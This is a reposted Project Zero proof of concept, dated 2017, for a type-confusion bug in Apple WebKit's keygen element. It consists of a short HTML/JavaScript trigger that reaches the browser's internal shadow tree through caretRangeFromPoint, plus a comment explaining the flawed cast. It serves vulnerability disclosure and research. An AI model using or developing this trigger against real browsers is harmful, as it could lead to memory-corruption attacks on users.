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Apple WebKit - 'HTMLKeygenElement' Type Confusion
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来源：Google Security Research 作者：Google 发布时间：2017-02-03
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<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=999 -->
<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>
<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->
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